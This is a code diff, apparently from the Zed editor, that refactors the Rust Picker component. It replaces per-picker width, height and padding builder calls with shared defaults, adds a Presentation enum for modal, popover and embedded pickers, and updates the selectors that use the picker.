--- a/crates/encoding_selector/src/encoding_selector.rs
+++ b/crates/encoding_selector/src/encoding_selector.rs
@@ -95,13 +95,7 @@ impl EncodingSelector {
 
     fn new(buffer: Entity<Buffer>, window: &mut Window, cx: &mut Context<Self>) -> Self {
         let delegate = EncodingSelectorDelegate::new(cx.entity().downgrade(), buffer);
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(gpui::rems(34.))
-                .minimum_results_width(gpui::rems(34.))
-                .height(gpui::rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
         Self { picker }
     }
 }
diff --git a/crates/extensions_ui/src/extension_version_selector.rs b/crates/extensions_ui/src/extension_version_selector.rs
index 7e599bf371c62e..1ab1bd659f9a90 100644
--- a/crates/extensions_ui/src/extension_version_selector.rs
+++ b/crates/extensions_ui/src/extension_version_selector.rs
@@ -40,13 +40,7 @@ impl ExtensionVersionSelector {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
         Self { picker }
     }
 }
diff --git a/crates/extensions_ui/src/extensions_ui.rs b/crates/extensions_ui/src/extensions_ui.rs
index 22e13b54c9bceb..079512e901cfb7 100644
--- a/crates/extensions_ui/src/extensions_ui.rs
+++ b/crates/extensions_ui/src/extensions_ui.rs
@@ -276,7 +276,6 @@ pub fn init(cx: &mut App) {
                         workspace.toggle_modal(window, cx, |window, cx| {
                             let delegate = DevExtensionRebuildPickerDelegate::new(dev_extensions);
                             Picker::uniform_list(delegate, window, cx)
-                                .minimum_results_width(rems(34.))
                         });
                     }
                 }
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index f609dae780863d..25a2e5ab0e18bc 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -169,20 +169,10 @@ impl FileFinder {
         let modal_max_width_setting = FileFinderSettings::get_global(cx).modal_max_width;
 
         let project = delegate.project.clone();
+        let modal_max_width = Self::modal_max_width(modal_max_width_setting, window);
         let picker = cx.new(|cx| {
-            let picker = Picker::uniform_list_with_preview(delegate, project, window, cx)
-                .minimum_results_width(gpui::rems(34.))
-                .height(gpui::rems(24.))
-                .no_vertical_padding();
-            // The dedicated file finder width setting has been removed in favor of
-            // persisted picker sizes. For migration we still honor it as the initial
-            // width, but only if the user actually changed it from the default;
-            if modal_max_width_setting != FileFinderWidth::default() {
-                let modal_max_width = Self::modal_max_width(modal_max_width_setting, window);
-                picker.initial_width(Rems::from_pixels(modal_max_width, window))
-            } else {
-                picker
-            }
+            Picker::uniform_list_with_preview(delegate, project, window, cx)
+                .initial_width(Rems::from_pixels(modal_max_width, window))
         });
         let picker_focus_handle = picker.focus_handle(cx);
         picker.update(cx, |picker, _| {
diff --git a/crates/git_ui/src/branch_picker.rs b/crates/git_ui/src/branch_picker.rs
index 43158a32b2aa25..1cbfcca4364d64 100644
--- a/crates/git_ui/src/branch_picker.rs
+++ b/crates/git_ui/src/branch_picker.rs
@@ -277,11 +277,9 @@ impl BranchList {
 
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
-                .minimum_results_width(width)
-                .height(rems(24.))
-                .no_vertical_padding()
+                .initial_width(width)
                 .show_scrollbar(true)
-                .modal(!embedded)
+                .when(embedded, |picker| picker.embedded())
         });
         let picker_focus_handle = picker.focus_handle(cx);
 
diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 84628d0dd614e1..384474e21056ae 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -111,9 +111,6 @@ impl CommitTagPicker {
         let picker = cx.new(|cx| {
             Picker::nonsearchable_uniform_list(delegate, window, cx)
                 .initial_width(COMMIT_TAG_LIST_WIDTH_IN_REMS)
-                .minimum_results_width(COMMIT_TAG_LIST_WIDTH_IN_REMS)
-                .height(rems(24.))
-                .no_vertical_padding()
         });
         Self { picker }
     }
diff --git a/crates/git_ui/src/picker_prompt.rs b/crates/git_ui/src/picker_prompt.rs
index 03c0553fef8cd0..554d706e9429ce 100644
--- a/crates/git_ui/src/picker_prompt.rs
+++ b/crates/git_ui/src/picker_prompt.rs
@@ -55,13 +55,8 @@ impl PickerPrompt {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(rem_width))
-                .minimum_results_width(rems(rem_width))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker =
+            cx.new(|cx| Picker::uniform_list(delegate, window, cx).initial_width(rems(rem_width)));
         let _subscription = cx.subscribe(&picker, |_, _, _, cx| cx.emit(DismissEvent));
         Self {
             picker,
diff --git a/crates/git_ui/src/repository_selector.rs b/crates/git_ui/src/repository_selector.rs
index 54303bca6b0239..19c653cdaa0c66 100644
--- a/crates/git_ui/src/repository_selector.rs
+++ b/crates/git_ui/src/repository_selector.rs
@@ -64,9 +64,7 @@ impl RepositorySelector {
 
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
-                .minimum_results_width(width)
-                .height(rems(20.))
-                .no_vertical_padding()
+                .initial_width(width)
                 .show_scrollbar(true)
         });
 
diff --git a/crates/git_ui/src/stash_picker.rs b/crates/git_ui/src/stash_picker.rs
index feaaaf7ab9fff9..85a0206ddd0536 100644
--- a/crates/git_ui/src/stash_picker.rs
+++ b/crates/git_ui/src/stash_picker.rs
@@ -128,11 +128,9 @@ impl StashList {
         let delegate = StashListDelegate::new(repository, workspace, window, cx);
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
-                .minimum_results_width(width)
-                .height(rems(24.))
-                .no_vertical_padding()
+                .initial_width(width)
                 .show_scrollbar(true)
-                .modal(!embedded)
+                .when(embedded, |picker| picker.embedded())
         });
         let picker_focus_handle = picker.focus_handle(cx);
         picker.update(cx, |picker, _| {
diff --git a/crates/git_ui/src/worktree_picker.rs b/crates/git_ui/src/worktree_picker.rs
index dab2b3e00b505a..df0e8992751ad0 100644
--- a/crates/git_ui/src/worktree_picker.rs
+++ b/crates/git_ui/src/worktree_picker.rs
@@ -8,7 +8,7 @@ use git::repository::Worktree as GitWorktree;
 use gpui::{
     Action, AnyElement, App, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
     InteractiveElement, IntoElement, Modifiers, ModifiersChangedEvent, ParentElement, PromptLevel,
-    Render, SharedString, Styled, Subscription, Task, TaskExt, WeakEntity, Window, actions, rems,
+    Render, SharedString, Styled, Subscription, Task, TaskExt, WeakEntity, Window, actions,
 };
 use picker::{Picker, PickerDelegate, PickerEditorPosition};
 use project::Project;
@@ -128,11 +128,7 @@ impl WorktreePicker {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
                 .show_scrollbar(true)
-                .modal(false)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(20.))
-                .no_vertical_padding()
+                .embedded()
         });
 
         let picker_focus_handle = picker.focus_handle(cx);
diff --git a/crates/language_selector/src/language_selector.rs b/crates/language_selector/src/language_selector.rs
index f1d86da079c74a..3fab580ae49d61 100644
--- a/crates/language_selector/src/language_selector.rs
+++ b/crates/language_selector/src/language_selector.rs
@@ -83,13 +83,7 @@ impl LanguageSelector {
             current_language_name,
         );
 
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
         Self { picker }
     }
 }
diff --git a/crates/line_ending_selector/src/line_ending_selector.rs b/crates/line_ending_selector/src/line_ending_selector.rs
index 5ba42c30827e00..f3298efee35cf0 100644
--- a/crates/line_ending_selector/src/line_ending_selector.rs
+++ b/crates/line_ending_selector/src/line_ending_selector.rs
@@ -65,13 +65,7 @@ impl LineEndingSelector {
         let line_ending = buffer.read(cx).line_ending();
         let delegate =
             LineEndingSelectorDelegate::new(cx.entity().downgrade(), buffer, project, line_ending);
-        let picker = cx.new(|cx| {
-            Picker::nonsearchable_uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::nonsearchable_uniform_list(delegate, window, cx));
         Self { picker }
     }
 }
diff --git a/crates/onboarding/src/base_keymap_picker.rs b/crates/onboarding/src/base_keymap_picker.rs
index 6f0fa5d49fcbc7..351c87a96bf786 100644
--- a/crates/onboarding/src/base_keymap_picker.rs
+++ b/crates/onboarding/src/base_keymap_picker.rs
@@ -61,13 +61,7 @@ impl BaseKeymapSelector {
         window: &mut Window,
         cx: &mut Context<BaseKeymapSelector>,
     ) -> Self {
-        let picker = cx.new(|cx| {
-            Picker::uniform_list(delegate, window, cx)
-                .initial_width(rems(34.))
-                .minimum_results_width(rems(34.))
-                .height(rems(24.))
-                .no_vertical_padding()
-        });
+        let picker = cx.new(|cx| Picker::uniform_list(delegate, window, cx));
         Self { picker }
     }
 }
diff --git a/crates/open_path_prompt/src/open_path_prompt.rs b/crates/open_path_prompt/src/open_path_prompt.rs
index 7214ba570e4990..6fc35e697c8cb4 100644
--- a/crates/open_path_prompt/src/open_path_prompt.rs
+++ b/crates/open_path_prompt/src/open_path_prompt.rs
@@ -233,8 +233,7 @@ impl OpenPathPrompt {
         workspace.toggle_modal(window, cx, |window, cx| {
             let delegate =
                 OpenPathDelegate::new(tx, lister.clone(), creating_path, cx).show_hidden();
-            let picker =
-                Picker::uniform_list(delegate, window, cx).minimum_results_width(rems(34.));
+            let picker = Picker::uniform_list(delegate, window, cx);
             let mut query = lister.default_query(cx);
             if let Some(suggested_name) = suggested_name {
                 query.push_str(&suggested_name);
diff --git a/crates/open_path_prompt/src/open_path_prompt_tests.rs b/crates/open_path_prompt/src/open_path_prompt_tests.rs
index 51eb33b66e73c6..6254be253f8c02 100644
--- a/crates/open_path_prompt/src/open_path_prompt_tests.rs
+++ b/crates/open_path_prompt/src/open_path_prompt_tests.rs
@@ -5,7 +5,6 @@ use gpui::{AppContext, Entity, TestAppContext, VisualTestContext};
 use picker::{Picker, PickerDelegate};
 use project::Project;
 use serde_json::json;
-use ui::rems;
 use util::path;
 use workspace::{AppState, MultiWorkspace};
 
@@ -509,9 +508,7 @@ fn build_open_path_prompt(
                 delegate
             };
             cx.new(|cx| {
-                let picker = Picker::uniform_list(delegate, window, cx)
-                    .minimum_results_width(rems(34.))
-                    .modal(false);
+                let picker = Picker::uniform_list(delegate, window, cx).embedded();
                 let query = lister.default_query(cx);
                 picker.set_query(&query, window, cx);
                 picker
diff --git a/crates/outline/src/outline.rs b/crates/outline/src/outline.rs
index f1badca2ea2ecb..ffd11e3197c3aa 100644
--- a/crates/outline/src/outline.rs
+++ b/crates/outline/src/outline.rs
@@ -179,12 +179,10 @@ impl OutlineView {
         let delegate = OutlineViewDelegate::new(cx.entity().downgrade(), outline, editor, cx);
         let picker = cx.new(|cx| {
             Picker::uniform_list(delegate, window, cx)
-                .minimum_results_width(rems(34.))
-                .height(Rems::from_pixels(
+                .max_height(Rems::from_pixels(
                     window.viewport_size().height * 0.75,
                     window,
                 ))
-                .no_vertical_padding()
                 .show_scrollbar(true)
         });
         OutlineView { picker }
diff --git a/crates/picker/src/footer.rs b/crates/picker/src/footer.rs
index c3bb4d2200d272..fc90c5f2530c57 100644
--- a/crates/picker/src/footer.rs
+++ b/crates/picker/src/footer.rs
@@ -127,14 +127,12 @@ impl<D: PickerDelegate> Picker<D> {
         cx: &mut Context<Self>,
     ) -> impl IntoElement {
         let focus_handle = self.focus_handle(cx);
-        let toggle_focus_handle = focus_handle.clone();
         let right_focus_handle = focus_handle.clone();
         let below_focus_handle = focus_handle.clone();
         let current = self.preview_layout().unwrap_or(preview::Layout::Hidden);
         let preview_visible = current != preview::Layout::Hidden;
 
         h_flex()
-            .gap_1()
             .child(
                 Button::new("picker-preview-toggle", "Preview")
                     .when(preview_visible, |this| this.color(Color::Accent))
@@ -142,22 +140,12 @@ impl<D: PickerDelegate> Picker<D> {
                         KeyBinding::for_action_in(&TogglePreview, &focus_handle, cx)
                             .size(rems_from_px(12.)),
                     )
-                    .tooltip(move |_window, cx| {
-                        Tooltip::for_action_in(
-                            "Toggle Preview",
-                            &TogglePreview,
-                            &toggle_focus_handle,
-                            cx,
-                        )
-                    })
                     .on_click(
                         cx.listener(|this, _, window, cx| this.toggle_preview_visible(window, cx)),
                     ),
             )
-            // The layout buttons (preview to the right / below) are only relevant
-            // once the preview is showing, so hide them while it's hidden.
             .when(preview_visible, |this| {
-                this.child(div().child(Divider::vertical().color(ui::DividerColor::Border)))
+                this.child(Divider::vertical().h_4().mx_1())
                     .child(
                         IconButton::new("picker-preview-right", IconName::DiffSplit)
                             .icon_size(IconSize::Small)
diff --git a/crates/picker/src/persistence.rs b/crates/picker/src/persistence.rs
index 3e26d5fe10b7b9..ab61859abd89da 100644
--- a/crates/picker/src/persistence.rs
+++ b/crates/picker/src/persistence.rs
@@ -6,7 +6,7 @@ use ui::Window;
 use crate::preview;
 use crate::shape::{self, Centered, RelativeHeight, RelativeWidth, Shape, ViewportFraction};
 
-const PICKERS_NAMESPACE: &str = "pickers";
+const PICKERS_NAMESPACE: &str = "pickers_v2";
 
 pub(crate) fn store_shape_for_this_layout(
     picker_delegate: &'static str,
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index 93d54e10a78599..c4579781ade01e 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -38,6 +38,9 @@ pub use preview::PreviewSource;
 pub use preview::Update as PreviewUpdate;
 pub use ui_input::ErasedEditor;
 
+pub const DEFAULT_MODAL_WIDTH: Rems = Rems(34.0);
+pub const DEFAULT_MODAL_MAX_HEIGHT: Rems = Rems(24.0);
+
 enum ElementContainer {
     List(ListState),
     UniformList(UniformListScrollHandle),
@@ -88,6 +91,30 @@ struct PendingUpdateMatches {
     _task: Task<Result<()>>,
 }
 
+#[derive(Clone, Copy)]
+enum Presentation {
+    /// A self-contained modal: draws its own elevated background and dismisses
+    /// when it loses focus. May optionally be resized (persisting its size);
+    /// resizing only makes sense for modals.
+    Modal { resizable: bool },
+    /// A popover attached to a menu/trigger: draws its own elevated background
+    /// and dismisses when it loses focus, but is never resizable.
+    Popover,
+    /// Embedded inside a larger container (e.g. another modal) that provides its
+    /// own chrome and handles dismissal.
+    Embedded,
+}
+
+/// The default size for a given preview layout. With the preview hidden the
+/// picker uses its standard size; showing a preview expands it to the larger
+/// "telescope" size so the results pane isn't cramped beside the preview.
+fn default_shape_for_layout(hidden: shape::Centered, layout: preview::Layout) -> shape::Centered {
+    match layout {
+        preview::Layout::Hidden => hidden,
+        preview::Layout::Right | preview::Layout::Below => shape::Centered::default(),
+    }
+}
+
 pub struct Picker<D: PickerDelegate> {
     pub delegate: D,
     element_container: ElementContainer,
@@ -96,16 +123,14 @@ pub struct Picker<D: PickerDelegate> {
     pending_update_matches: Option<PendingUpdateMatches>,
     confirm_on_update: Option<bool>,
     shape: shape::Shape,
-    /// set through [Picker::width] and [Picker::height]
+    /// The size the picker opens at (and resets to). Defaults depend on whether
+    /// the picker has a preview; see [`Picker::initial_width`] / [`Picker::max_height`].
     default_shape: shape::Centered,
-    vertical_padding: shape::VerticalPadding,
     size_bounds: shape::SizeBounds,
     /// An external control to display a scrollbar in the `Picker`.
     show_scrollbar: bool,
-    /// Whether the `Picker` is rendered as a self-contained modal.
-    ///
-    /// Set this to `false` when rendering the `Picker` as part of a larger modal.
-    is_modal: bool,
+    /// How the picker is presented, which controls its chrome and behavior.
+    presentation: Presentation,
     /// Bounds tracking for the picker container (for aside positioning)
     picker_bounds: Rc<Cell<Option<Bounds<Pixels>>>>,
     /// Bounds tracking for items (for aside positioning) - maps item index to bounds
@@ -474,9 +499,27 @@ impl<D: PickerDelegate> Picker<D> {
                 .flatten()
                 .unwrap_or_default();
         };
-        let shape = persistence::try_load_shape(D::name(), preview.as_ref().map(|p| p.layout), cx)
-            .log_err()
-            .flatten();
+        let has_preview = preview.is_some();
+        let persisted_shape =
+            persistence::try_load_shape(D::name(), preview.as_ref().map(|p| p.layout), cx)
+                .log_err()
+                .flatten();
+        // Every picker opens at the standard "simple" size: a fixed width and a
+        // standard max height it shrinks below when there's little content.
+        // Showing a preview expands it to the larger "telescope" size (see
+        // `default_shape_for_layout`).
+        let default_shape = shape::Centered::simple();
+        let initial_layout = preview
+            .as_ref()
+            .map(|p| p.layout)
+            .unwrap_or(preview::Layout::Hidden);
+        let mut size_bounds = shape::SizeBounds::default();
+        // For a plain picker the whole-picker minimum is just its opening width,
+        // so it can't be resized/clamped narrower than it opens. Preview pickers
+        // keep the standard per-pane minimums.
+        if !has_preview && let Some(width) = default_shape.width.as_rems() {
+            size_bounds.min_results.width = width;
+        }
         let mut this = Self {
             delegate,
             head,
@@ -484,15 +527,21 @@ impl<D: PickerDelegate> Picker<D> {
             pending_update_matches: None,
             confirm_on_update: None,
             preview,
-            shape_loaded_from_persistence: shape.is_some(),
-            shape: shape.unwrap_or_default(),
-            default_shape: shape::Centered::default(),
-            vertical_padding: shape::VerticalPadding::default(),
+            shape_loaded_from_persistence: persisted_shape.is_some(),
+            shape: persisted_shape.unwrap_or_else(|| {
+                shape::Shape::HorizontallyCentered(default_shape_for_layout(
+                    default_shape,
+                    initial_layout,
+                ))
+            }),
+            default_shape,
             show_scrollbar: false,
-            is_modal: true,
+            presentation: Presentation::Modal {
+                resizable: has_preview,
+            },
             picker_bounds: Rc::new(Cell::new(None)),
             item_bounds: Rc::new(RefCell::new(HashMap::default())),
-            size_bounds: shape::SizeBounds::default(),
+            size_bounds,
             actions_menu_handle: PopoverMenuHandle::default(),
         };
         this.update_matches("".to_string(), window, cx);
@@ -513,34 +562,33 @@ impl<D: PickerDelegate> Picker<D> {
         }
     }
 
-    /// Sets the width the picker appears with if the user has never resized it
-    /// or when the user sets it back to it's default size.
+    /// Overrides the width the picker opens at (and resets to). Plain pickers
+    /// default to [`DEFAULT_MODAL_WIDTH`]; only call this for pickers that need a
+    /// different width (e.g. narrow popover selectors).
+    ///
+    /// For a plain (no-preview) picker the opening width is also its minimum, so
+    /// it can't be resized or clamped narrower than it opens.
     pub fn initial_width(mut self, width: impl Into<RelativeWidth>) -> Self {
         let width = width.into();
         self.default_shape.width = width;
         if !self.shape_loaded_from_persistence {
             self.shape.set_initial_width(width);
         }
+        // A plain picker's whole-picker minimum tracks its opening width. Preview
+        // pickers keep the standard per-pane minimums.
+        if self.preview.is_none()
+            && let Some(rems) = width.as_rems()
+        {
+            self.size_bounds.min_results.width = rems;
+        }
         self
     }
 
-    /// Sets the minimum width, the picker can not be resized smaller then this.
-    /// Leave unset to use sane defaults.
-    ///
-    /// This applies to the results. If there is no preview that is the whole picker.
-    pub fn minimum_results_width(mut self, width: impl Into<Rems>) -> Self {
-        self.size_bounds.min_results.width = width.into();
-        self
-    }
-
-    /// Sets the width the picker appears with if the user has never resized it
-    /// or when the user sets it back to it's default size.
-    ///
-    /// # Padding
-    /// By default the picker will fill this space. If you want it to only grow
-    /// as large as it needs and treat the height as a bound use
-    /// [`no_vertical_padding`]
-    pub fn height(mut self, height: impl Into<RelativeHeight>) -> Self {
+    /// Overrides the picker's max height. Plain pickers default to
+    /// [`DEFAULT_MODAL_MAX_HEIGHT`] and shrink below it to fit their content;
+    /// only call this for pickers that want a different cap (e.g. the outline
+    /// view, which is taller).
+    pub fn max_height(mut self, height: impl Into<RelativeHeight>) -> Self {
         let height = height.into();
         self.default_shape.height = height;
         if !self.shape_loaded_from_persistence {
@@ -549,23 +597,12 @@ impl<D: PickerDelegate> Picker<D> {
         self
     }
 
-    /// Makes the picker shrink to fit its content rather than padding out to its
-    /// full height when there are fewer results than fit.
-    pub fn no_vertical_padding(mut self) -> Self {
-        self.vertical_padding = shape::VerticalPadding::None;
-        self
-    }
-
-    fn vertical_padding(&self) -> shape::VerticalPadding {
-        let preview_visible = self
-            .preview
+    /// Whether the picker fills its full height (preview visible) or shrinks to
+    /// fit its content, treating the height as a maximum (no preview visible).
+    fn fill_height(&self) -> bool {
+        self.preview
             .as_ref()
-            .is_some_and(|preview| preview.layout != preview::Layout::Hidden);
-        if preview_visible {
-            shape::VerticalPadding::Pad
-        } else {
-            self.vertical_padding
-        }
+            .is_some_and(|preview| preview.layout != preview::Layout::Hidden)
     }
 
     pub fn show_scrollbar(mut self, show_scrollbar: bool) -> Self {
@@ -573,11 +610,50 @@ impl<D: PickerDelegate> Picker<D> {
         self
     }
 
-    pub fn modal(mut self, modal: bool) -> Self {
-        self.is_modal = modal;
+    /// Presents the picker as embedded inside a larger container that provides
+    /// its own chrome and dismissal, rather than the default self-contained
+    /// modal. Use [`popover`](Self::popover) instead for menu-attached pickers.
+    pub fn embedded(mut self) -> Self {
+        self.presentation = Presentation::Embedded;
         self
     }
 
+    /// Presents the picker as a popover surface: it draws its own elevated
+    /// background (like a modal) but is not resizable. Use this for pickers
+    /// shown inside a menu/popover.
+    pub fn popover(mut self) -> Self {
+        self.set_popover();
+        self
+    }
+
+    pub(crate) fn set_popover(&mut self) {
+        self.presentation = Presentation::Popover;
+    }
+
+    /// Controls whether the user can drag to resize the picker (and whether its
+    /// size is persisted). Only applies to modal pickers; no-op otherwise.
+    /// Defaults to `true` for pickers with a preview and `false` otherwise.
+    pub fn resizable(mut self, resizable: bool) -> Self {
+        if let Presentation::Modal { resizable: r } = &mut self.presentation {
+            *r = resizable;
+        }
+        self
+    }
+
+    /// Whether the picker draws its own elevated background and dismisses on
+    /// blur (modals and popovers, but not embedded pickers).
+    fn draws_own_container(&self) -> bool {
+        matches!(
+            self.presentation,
+            Presentation::Modal { .. } | Presentation::Popover
+        )
+    }
+
+    /// Whether the picker can be resized (only ever true for modals).
+    fn is_resizable(&self) -> bool {
+        matches!(self.presentation, Presentation::Modal { resizable: true })
+    }
+
     pub fn list_measure_all(mut self) -> Self {
         match self.element_container {
             ElementContainer::List(state) => {
@@ -888,7 +964,7 @@ impl<D: PickerDelegate> Picker<D> {
                 let menu_focused = self.actions_menu_handle.is_focused(window, cx)
                     || self.actions_menu_handle.is_deployed()
                     || self.delegate.has_another_open_menu(window, cx);
-                if self.is_modal && window.is_window_active() && !menu_focused {
+                if self.draws_own_container() && window.is_window_active() && !menu_focused {
                     self.cancel(&menu::Cancel, window, cx);
                 }
             }
@@ -1107,12 +1183,13 @@ impl<D: PickerDelegate> Picker<D> {
     }
 
     fn render_element_container(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        // When the picker shrinks to fit content (`None`), the list infers its
-        // size from its items. When the picker pads to its full height (`Pad`),
-        // the list fills the available space.
-        let sizing_behavior = match self.vertical_padding() {
-            shape::VerticalPadding::None => ListSizingBehavior::Infer,
-            shape::VerticalPadding::Pad => ListSizingBehavior::Auto,
+        // When the picker shrinks to fit its content, the list infers its size
+        // from its items. When it fills its full height (preview visible), the
+        // list fills the available space.
+        let sizing_behavior = if self.fill_height() {
+            ListSizingBehavior::Auto
+        } else {
+            ListSizingBehavior::Infer
         };
 
         match &self.element_container {
@@ -1179,12 +1256,17 @@ impl<D: PickerDelegate> Picker<D> {
             return;
         };
         preview.layout = layout;
-        if let Some(previously_resized) = persistence::try_load_shape(D::name(), layout, cx)
+        // Restore the size the user last left this layout at, or fall back to the
+        // layout's default (simple when hidden, larger when a preview is shown).
+        self.shape = persistence::try_load_shape(D::name(), layout, cx)
             .log_err()
             .flatten()
-        {
-            self.shape = previously_resized;
-        }
+            .unwrap_or_else(|| {
+                shape::Shape::HorizontallyCentered(default_shape_for_layout(
+                    self.default_shape,
+                    layout,
+                ))
+            });
         self.delegate
             .preview_layout_changed(matches!(layout, preview::Layout::Right));
         cx.notify();
@@ -1366,3 +1448,4 @@ mod tests {
 
 impl<D: PickerDelegate> EventEmitter<DismissEvent> for Picker<D> {}
 impl<D: PickerDelegate> ModalView for Picker<D> {}
+impl<D: PickerDelegate> ui::FluentBuilder for Picker<D> {}
diff --git a/crates/picker/src/popover_menu.rs b/crates/picker/src/popover_menu.rs
index b3c4fba41a460b..e7fbec87002e94 100644
--- a/crates/picker/src/popover_menu.rs
+++ b/crates/picker/src/popover_menu.rs
@@ -36,7 +36,7 @@ where
         anchor: Anchor,
         cx: &mut App,
     ) -> Self {
-        picker.update(cx, |picker, _| picker.is_modal = false);
+        picker.update(cx, |picker, _| picker.set_popover());
         Self {
             _subscriptions: vec![cx.subscribe(&picker, |picker, &DismissEvent, cx| {
                 picker.update(cx, |_, cx| cx.emit(DismissEvent));
diff --git a/crates/picker/src/preview/render.rs b/crates/picker/src/preview/render.rs
index 4733c8ebf5b1f0..aac1d0b96bb521 100644
--- a/crates/picker/src/preview/render.rs
+++ b/crates/picker/src/preview/render.rs
@@ -37,7 +37,6 @@ impl EditorPreview {
         if let Some(message) = &self.message {
             self.render_message(message, cx).into_any_element()
         } else {
-            debug_assert!(!self.preview_editor.read(cx).is_empty(cx));
             div()
                 .flex_1()
                 .overflow_hidden()
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
index 7dd9bed62a0c01..82cdc4ad474ada 100644
--- a/crates/picker/src/render.rs
+++ b/crates/picker/src/render.rs
@@ -54,22 +54,23 @@ impl<D: PickerDelegate> Render for Picker<D> {
         // off.
         let has_preview = self.preview.is_some();
         let content = div()
-            .when(self.is_modal, |this| this.elevation_3(cx))
+            .when(self.draws_own_container(), |this| this.elevation_3(cx))
             .when(has_preview, |this| this.overflow_hidden())
             .child(content);
 
         let layout = self.preview_layout().unwrap_or(Layout::Hidden);
 
-        // Embedded pickers are not resizable
-        div().relative().child(content).when(self.is_modal, |this| {
-            // While resizing offset the (parent-centered) container
-            this.left(self.shape.horizontal_offset(window))
-                .child(self.render_resize(Left, window, cx))
-                .child(self.render_resize(Right(layout), window, cx))
-                .child(self.render_resize(Bottom(layout), window, cx))
-                .child(self.render_resize(LeftCorner(layout), window, cx))
-                .child(self.render_resize(RightCorner(layout), window, cx))
-        })
+        div()
+            .relative()
+            .child(content)
+            .when(self.is_resizable(), |this| {
+                this.left(self.shape.horizontal_offset(window))
+                    .child(self.render_resize(Left, window, cx))
+                    .child(self.render_resize(Right(layout), window, cx))
+                    .child(self.render_resize(Bottom(layout), window, cx))
+                    .child(self.render_resize(LeftCorner(layout), window, cx))
+                    .child(self.render_resize(RightCorner(layout), window, cx))
+            })
     }
 }
 
@@ -95,7 +96,7 @@ impl<D: PickerDelegate> Picker<D> {
                 self.shape.apply_results_size(
                     self.preview_layout(),
                     &self.size_bounds,
-                    self.vertical_padding(),
+                    self.fill_height(),
                     this,
                     window,
                 )
@@ -154,7 +155,7 @@ impl<D: PickerDelegate> Picker<D> {
                         .when_some(
                             self.shape.results_max_height(
                                 &self.size_bounds,
-                                self.vertical_padding(),
+                                self.fill_height(),
                                 window,
                             ),
                             |this, max_height| this.max_h(max_height),
@@ -300,7 +301,9 @@ impl<D: PickerDelegate> Picker<D> {
                             .child(preview.render(cx)),
                     ),
             )
-            .child(self.render_resize(window_controls::Middle(preview.layout), window, cx))
+            .when(self.is_resizable(), |this| {
+                this.child(self.render_resize(window_controls::Middle(preview.layout), window, cx))
+            })
     }
 
     pub(crate) fn render_with_preview_right(
@@ -342,7 +345,9 @@ impl<D: PickerDelegate> Picker<D> {
                             .child(preview.render(cx)),
                     ),
             )
-            .child(self.render_resize(Middle(Layout::Right), window, cx))
+            .when(self.is_resizable(), |this| {
+                this.child(self.render_resize(Middle(Layout::Right), window, cx))
+            })
     }
 
     fn finish_any_completed_resize(
diff --git a/crates/picker/src/shape.rs b/crates/picker/src/shape.rs
index 04c985cb3313fa..d37e2b0aae5930 100644
--- a/crates/picker/src/shape.rs
+++ b/crates/picker/src/shape.rs
@@ -72,6 +72,13 @@ macro_rules! relative_size {
                 }
             }
 
+            /// Returns this size as [`Rems`] when it has no viewport-relative
+            /// component. Used to derive a rems-based minimum from an initial
+            /// size without needing a [`Window`].
+            pub fn as_rems(&self) -> Option<Rems> {
+                (self.viewport_fraction == 0.0).then_some(self.rems)
+            }
+
             pub fn as_viewport_fraction(&self, window: &Window) -> ViewportFraction {
                 ViewportFraction(
                     self.viewport_fraction
@@ -181,15 +188,6 @@ impl std::ops::Mul<f32> for ViewportFraction {
     }
 }
 
-#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
-pub(crate) enum VerticalPadding {
-    /// The picker always fills its height even if there are no results
-    #[default]
-    Pad,
-    /// Picker might be shorter then it's height if there is not enough to display
-    None,
-}
-
 #[derive(Debug, Clone, Copy)]
 pub(crate) struct Centered {
     pub(crate) width: RelativeWidth,
@@ -197,6 +195,19 @@ pub(crate) struct Centered {
     pub(crate) preview_size: ViewportFraction,
 }
 
+impl Centered {
+    /// The default size for a plain picker (no preview): a fixed standard width
+    /// and a standard *max* height that the picker shrinks below when it has
+    /// little content.
+    pub(crate) fn simple() -> Self {
+        Centered {
+            width: RelativeWidth::rems(crate::DEFAULT_MODAL_WIDTH),
+            height: RelativeHeight::rems(crate::DEFAULT_MODAL_MAX_HEIGHT),
+            preview_size: ViewportFraction::ZERO,
+        }
+    }
+}
+
 #[derive(Debug, Clone, Copy)]
 pub(crate) enum Shape {
     Resizing(PositionAndShape),
